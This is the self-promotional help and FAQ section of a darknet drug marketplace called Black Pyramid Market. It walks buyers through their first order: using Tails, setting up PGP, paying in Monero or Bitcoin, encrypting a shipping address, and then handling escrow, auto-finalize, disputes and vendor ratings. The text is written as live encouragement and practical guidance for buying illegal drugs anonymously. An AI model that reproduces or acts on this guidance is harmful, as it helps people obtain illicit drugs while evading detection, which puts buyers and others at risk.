While combining some of the most famous features seen on previous markets on top of adding our personal touch, we are ready to provide the world with a quality service.

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Rules of Black Pyramid Market

As we want to offer you the best shopping experience, we have strict rules. Scammers and hackers are banned without warning. We are constantly monitoring our systems with the help of human staff and informatic algorithms to detect such behaviour.

The marketplace is only meant to sell drugs and digital services. We do not restrict the origin of products on our platform. Besides this, the following goods are STRICTLY FORBIDDEN on the marketplace:

• Ammunition
• Animal pornography
• Anything in relation to social or “Teen leaks”
• Bombs
• Child pornography
• Fentanyl and derivated drugs
• Explosives
• Human organs
• Human trafficking
• Living animals
• Murder for hire
• Snuff films
• Terrorism related products
• Toxins or lethal poisons
• Weapons

Offering these products is not allowed on Black Pyramid Market.

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Does Black Pyramid Market have a forum?

Our forum will be deployed slightly before the end of 2021.

Introduction to Black Pyramid Market

We are glad that you have found your way to Black Pyramid Market and want to support you as best as we can.

If you feel overwhelmed by all the information and do not know where to start, don´t worry. Everyone started at this point and you are lucky you found our First Steps guide.

Below we will help you with the most basic things to make your first order.

1. For enhanced security, we advise you to install and start the operating system Tails as described here.
2. Setup your Pretty Good Privacy (PGP) for encryption as described here.
3. Decide if you want to use Monero, Bitcoin, Litecoin, Bitcoin Cash or Dash. You can get some general information in this chapter and all about buying Bitcoin here.
4. If you want to use Monero have a look here how to setup your local Monero Wallet GUI.
5. If you want to use Bitcoin have a look here how to setup your local Electrum wallet.
6. Further instructions will be soon added regarding LTC, BCH and DASH crypto-currencies
7. You are ready to create your fist order. Select a product you would like to purchase as explained here.
8. After you found a product you would like to buy, simply press the checkout button and follow the instructions. Make sure to encrypt your address as described in this guide.
9. When you have to pay your order. For Monero see this guide and for Bitcoin have a look here.

Congratulations, you have successfully made your first order. In case of questions or problems do not hesitate to contact your vendor.

It is also recommended to have a look at the next chapters to get a better understanding about security, payment, shipping and other topics.

HOW TO ORDER

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1. Select a vendor and a product

You are probably visiting Black Pyramid because you would like to purchase drugs or digital services. We can definitely help you with that. However, before placing your order, you have to decide which product or products from which vendor you would like to buy.

As lots of different products from different vendors are offered, this choice might not be that easy. First, you can choose a product category that is interesting for you or perform a seach with a keyword. Once on the search page , feel free to apply some filters. For example, you can filter for all the products that would be shipped to your country by selecting the destination country in the “Shipping To” filter.

When selecting a product you would like to buy, do always also have a look at the vendor, selling the product. Read the vendor description and refund policy and have a look at the ratings of the concerned vendor.

Besides this, you can also contact the vendor directly to ask questions. Black Pyramid Market has a very unique conversation system based on the same design as most of the current smartphone chat-apps.

When you have finally decided on which product you would like to buy, continue with the next section to place your order.

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2. How to order Prerequisite

We do not force user to have 2fa-authentifcation enabled to place any order but we storngly recommend such practice. If your account gets hacked on black pyramid market, it will be your own responsability.

The order process on Black Pyramid has been simplified to the maximum.

1. Once you are on the product page you want to order, simply click on the checkout tab to roll down the checkout window.
2. Select the number of items you want to order along with the appropriate shipping option. Click on the “Next” button.
3. An overview of the pre-total and total amount will be displayed. Choose with which crypto-currency you want to checkout.
4. If you have sufficient balance on your wallet, you can choose to checkout with your on-site balance. If not, just use the “Payment on checkout” option.
   ( refer to this guide to enable the on-site wallet and deposit money on your Black Pyramid wallet )
5. After double-reading and accepting the rules of the vendor, enter your shipping information as described here. Click on the “Checkout” button.
6. The payment information will be displayed. Transfer the chosen coins to the displayed address.
7. After the payment transaction is confirmed the vendor will accept and ship the order. Make sure to not let the auto-finalize timer run out before the package arrives as described here. Once you received your order, you should mark it as received.
8. As a last step leave a rating for the order on Black Pyramid Market.

Congratulations, you have made your first order on Black Pyramid. If there are any questions unanswered have a look at the other chapters of our documentation or contact your vendor directly. For technical problems please contact the Black Pyramid Market Support.

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3. Cart-less market / Multiple orders

We did not judge necessary on Black Pyramid to add a ” Cart “ feature for multiple reasons.

Our wishlist feature doesn’t require our users to load any extra page, making it easier for anyone to bookmark and order from it’s wishlist.

Black Pyramid offer a dual choice of payment-type: with you on-site balance or payment on checkout; which makes it easier for anyone to order whatever items from whoever, at any time.

To order multiple items, simply process to the checkout of the first item before checking out on the second one, etc etc… The good news is that you don’t need to wait for the payment confirmations before placing a new order . Suit yourself to as you you wish !

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4. Payment on checkout time-frame

In an effort to prevent crypto-currency rate fluctuation to further impact the final price, be aware that you have to complete your payment within 20 minutes. After 20 minutes, if our system hasn’t detected a single confirmation, the transaction will be cancelled.

If for any reason you manage to send less money than needed, our system will simply credit the money on your Black Pyramid Market wallet once the total number of blockchain confirmations has been reached. Feel free to replace your order after that

On another hand, if you send more money than you should, there is no guarantee about the excedent refund. Feel free to contact us at the support if you think you have made such a mistake.

So please make sure to always pay the exact amount within the requested time..

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5. How important are vendor terms and conditions on Black Pyramid Market?

During a dispute, Black Pyramid staff has the authority to issue a veto to determine whether or not the terms of the vendor are fair.

Please make sure to read the rules and product description carefully before placing your orders. In case of questions contact your vendor directly.

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All about finalization

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Order finalization on Black Pyramid Market

When speaking of finalizing an order it is meant to close this order and in most times to mark the order as received. This is important as the vendor will get paid with this step in an escrow payment system.

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What is auto-finalize?

As said before, the vendor will receive your payment after you finalize the order. For a general payment explanation do also have a look here.

Because some customers are totally busy and enjoy their received order, they may not mark the order as received after receiving it. Therefore, there is an auto-finalize timer for each order. When this auto-finalize timer runs out, the order will be finalized automatically and the vendor will receive the payment.

This timer depends on the type of order ( physical / digital / auto-shop ) and the vendor’s right ( FE / Escrow ): Different auto-finalization timers

• 16 days for physical orders
• 5 days for digital orders
• 24 hours for digital auto-shop orders ( delivered instantly )
• Auto-finalization timers only concern escrow orders. Orders that have been finalized early are not concerned.

Do not worry, if your order gets delayed due to delivery problems. You can easily extend once the auto-finalize date by 5 days for physical products and 2 days for digital items ( auto-shop excluded ) at the order page. Within this step please contact your vendor directly to check if there are maybe some known problems. Warning

Always open a dispute before the auto-finalize timer runs out to find a solution. During a dispute the funds are safely locked until it is solved.

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What is Finalize Early (FE) on Black Pyramid Market?

Finalize Early, or short FE, means that as soon as the vendor marks the order as shipped, the funds will be transferred to the vendor. This means that the order will not be protected by escrow if something goes wrong. Black Pyramid will also not be able to help you as we have no access to the funds which are already transferred to the vendor. Warning

Be aware of the risk of Finalize Early orders and prefer escrow if you can.

However, only FE-allowed vendors can offer FE on our platform. In this sens, our system mitigate and prevent further risk of problems with an FE order.

There are some reasons for vendors to request FE, like the risk to have money stuck in the system for a long time when e.g. shipping to remote countries. Some vendors do also offer overweight or have some special FE offers to share their advantages of FE.

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A vendor is asking for Finalize Early on Black Pyramid Market

FE is only allowed for FE-allowed vendors on Black Pyramid and available as a payment method.

Asking for FE during an escrow order as a non-FE-allowed vendor is strongly forbidden. It is a clear violation of the marketplace rules. Please report vendors who ask you to do finalize your order before receiving it.

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Order problems

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What if my order does not arrive on Black Pyramid Market?

First, please be patient. There are a lot of orders which get delayed due to delivery problems. The first thing you should do is to extend the auto-finalize on the order page.

Please note that you can only extend the auto-finalize date once per order. Have a look here to get more information about order finalization.

Do not forget to contact the vendor directly and open a dispute before the auto-finalize timer runs out if your package has not been delivered yet. Note that tracking information is often only provided after a certain amount of time as explained here.

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What is a dispute?

You can dispute an order if there is any problem with it that can not be solved together with the vendor. For example your order does not arrive or the wrong product was shipped. Please note that it will not be possible to start a dispute after the order was marked as received or has been finalized automatically.

A dispute does also pause the auto-finalize timer of the order. However, if not already extended please extend the auto-finalize date manually on the order detail page if your order is simply delayed.

In the dispute message, please explain briefly the problem with the order. It is easier for our staff and the vendor to solve the problem with all needed information at hand.

After opening the dispute, Black Pyramid will have a look at it and assist you with all needs. The vendor will also be able to see the dispute and comment in the dispute.

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Cancel an order Prerequisite

As a buyer you will be able to cancel an order until the vendor accepts it.

Sometimes it is necessary to cancel a order. You can cancel an order by yourself until the vendor accepts the order. After this, your money will be refunded automatically to your on-site wallet unless you have specified a refund address ( PGP is mandatory in this case ).

Unaccepted orders are never automatically cancelled on Black Pyramid, giving vendors a bit more flexiblity if they have important things to deal with in real life. It is all up to you to press the cancel button as a buyer if you run out of patience. If an order is not shipped within 3 days after being accepted by the vendor it will then be canceled automatically. You will probably get a message from the vendor why the order has been canceled, if not just ask your vendor.

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Ratings

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All about ratings

Ratings are a great way to appreciate the quality of the vendor´s services and products. Please contribute to this system by submitting a rating after each order. If you have too many unrated and completed orders, you have to submit a rating for these before creating a new order.

There are vendor and product ratings. The vendor rating is for describing the overall shopping experience with the vendor, excluding criteria of the product. The product quality and everything else related to a product can be described in the product rating. Have a look below for an overview of applicable criteria.

Please do only rate an order as negative if you had severe problems. Every vendor will try to find a suitable solution for you. It sometimes happens that an order gets lost, but this is the risk of shipping which does not depend on the vendor or the market. Keep in mind to not submit order or product ratings before you have received the order. It makes no sense to submit placeholder ratings.

In case of an unjustified rating, the market may disable or remove this rating. If there should be any problems with unjustified ratings, please contact support.

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Vendor rating criteria

You should consider the following criteria while rating the vendor:

• Shipping time (excluding postal service issues, e.g. COVID-19)
• Packaging (especially the stealth)
• Communication with the vendor
• Overall reactivity and feeling

The following should not be taken into account:

• Price
• Postal service issues
• Product quality regarding its effect and taste
• Anything related to the market

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Product rating criteria

You should consider the following criteria for a product rating:

• Product delivered as described
• Polluted product, e.g. weed with extenders.
• Product quality regarding its effect and taste

The following should not be taken into account:

• Shipping time
• Communication with the vendor
• Anything related to the market

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Rating from the vendor

Besides the rating from the buyer, which is publicly visible for everyone, the vendors do also rate their buyers.

You can see the rating from your vendor on the order detail page of the corresponding order or on your buyer profile page. If there is no rating yet, it means the vendor did not submit one yet.

By this, buyers can earn trust and build up a good profile for themselves, as the ratings from vendors can also be seen by other vendors.

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Can I finalize my order and leave my feedback later ?

Yes, this is one of the unique feature of our market. If for any reason you need more time to rate your vendor and the products you ordered, you can first finalize the order and leave a feedback within 60 days.

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Can I change my rating?

Yes, we allow buyers to change rating once after the order was already rated. You will only be able to change the rating from a negative to a neutral or positive one, but not from a positive to a negative one. In such cases or if you have already changed the rating once, please contact support.

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